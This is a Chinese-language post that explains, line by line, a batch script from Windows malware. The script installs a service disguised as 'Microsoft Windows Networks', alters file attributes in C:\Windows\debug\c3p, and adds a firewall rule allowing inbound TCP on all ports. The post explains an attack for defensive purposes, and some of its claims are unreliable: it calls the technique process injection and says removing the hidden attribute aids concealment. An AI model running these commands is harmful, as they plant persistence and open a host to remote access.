一个简单的远程病毒代码分析

yh6788

1. rem C:\WINDOWS\Debug\c3p\svchost.exe install "Networks2" C:\WINDOWS\Debug\c3p\systems.exe
   
2. rem sc config "Networks2" DisplayName= "Networksrs2"
   
3. rem sc description "Networks2" "Microsoft Windows Networks"
   
4. rem Set ProcessName=systems.exe
   
5. rem sc start "Networks2"
   
6. rem attrib C:\Windows\debug\c3p -h -a
   
7. rem attrib C:\Windows\debug\c3p\*.json -h -a -s -r
   
8. rem attrib C:\Windows\debug\c3p\*.exe -h -a -s -r
   
9. rem netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
   

复制代码

代码分析

• rem C:\WINDOWS\Debug\c3p\svchost.exe install "Networks2" C:\WINDOWS\Debug\c3p\systems.exe
  • rem 表示这是一个注释，这行代码实际上不会被执行。但这行代码揭示了攻击者的意图。
  • 它试图使用 svchost.exe（一个合法的Windows系统进程）来“安装”一个名为 “Networks2” 的服务，对应的可执行文件是 C:\WINDOWS\Debug\c3p\systems.exe。
  • 这是一种常见的病毒技术，即进程注入或服务宿主注入，病毒会利用合法的系统进程来隐藏自己。
    
• rem sc config "Networks2" DisplayName= "Networksrs2"
  • 同样是注释。这行代码如果执行，会使用 sc config 命令来配置名为 “Networks2” 的服务，将其显示名称设置为 “Networksrs2”。
  • 这可能是病毒为了迷惑用户，让用户误以为这是一个合法的Windows服务。
    
• rem sc description "Networks2" "Microsoft Windows Networks"
  • 注释。这行代码如果执行，会使用 sc description 命令来设置 “Networks2” 服务的描述为 “Microsoft Windows Networks”。
  • 同样是为了伪装成合法的系统服务，让用户放松警惕。
    
• Set ProcessName=systems.exe
  • 这行代码设置一个名为 ProcessName 的环境变量，其值为 systems.exe。
  • 虽然这行代码本身没有直接的危害，但很可能是为后续的恶意操作做准备，比如在其他地方使用这个环境变量来定位或操作 systems.exe。
    
• sc start "Networks2"
  • 这行代码会使用 sc start 命令来启动名为 “Networks2” 的服务。
  • 如果之前的安装和配置成功，这行代码会启动恶意程序。
    
• attrib C:\Windows\debug\c3p -h -a
  • 这行代码使用 attrib 命令来移除 C:\Windows\debug\c3p 目录的隐藏 (-h) 和存档 (-a) 属性。
  • 这可能是为了让这个目录更容易被访问，或者防止用户通过查看隐藏文件来发现恶意程序。
    
• attrib C:\Windows\debug\c3p\*.json -h -a -s -r
  • 这行代码使用 attrib 命令来移除 C:\Windows\debug\c3p 目录中所有 .json 文件的隐藏 (-h)、存档 (-a)、系统 (-s) 和只读 (-r) 属性。
  • 病毒可能会使用 .json 文件来存储配置信息或其他数据。
    
• attrib C:\Windows\debug\c3p\*.exe -h -a -s -r
  • 这行代码使用 attrib 命令来移除 C:\Windows\debug\c3p 目录中所有 .exe 文件的隐藏 (-h)、存档 (-a)、系统 (-s) 和只读 (-r) 属性。
  • 这主要是针对病毒自身的可执行文件 (systems.exe 和 svchost.exe?)，确保它们可以被执行。
    
• netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
  • 这行代码使用 netsh advfirewall 命令在 Windows 防火墙中添加一条规则，允许所有的 TCP 连接进入你的计算机 (dir=in)，端口范围是 0 到 65535 (localport=0-65535)。
  • 这是一个非常危险的操作，它会极大地降低你的计算机的安全性，允许任何程序连接到你的计算机上的任何端口。
    
  
  

综合分析

从这段代码来看，这个病毒试图：

• 隐藏自身： 将自身文件放在 C:\Windows\debug\c3p 目录下，并移除隐藏和系统属性，试图不被发现。
• 伪装成系统服务： 利用 svchost.exe 进程来运行，并设置服务的显示名称和描述，伪装成合法的Windows服务。
• 开启防火墙后门： 添加防火墙规则，允许所有 TCP 连接进入，为恶意程序的远程控制或其他恶意行为打开方便之门。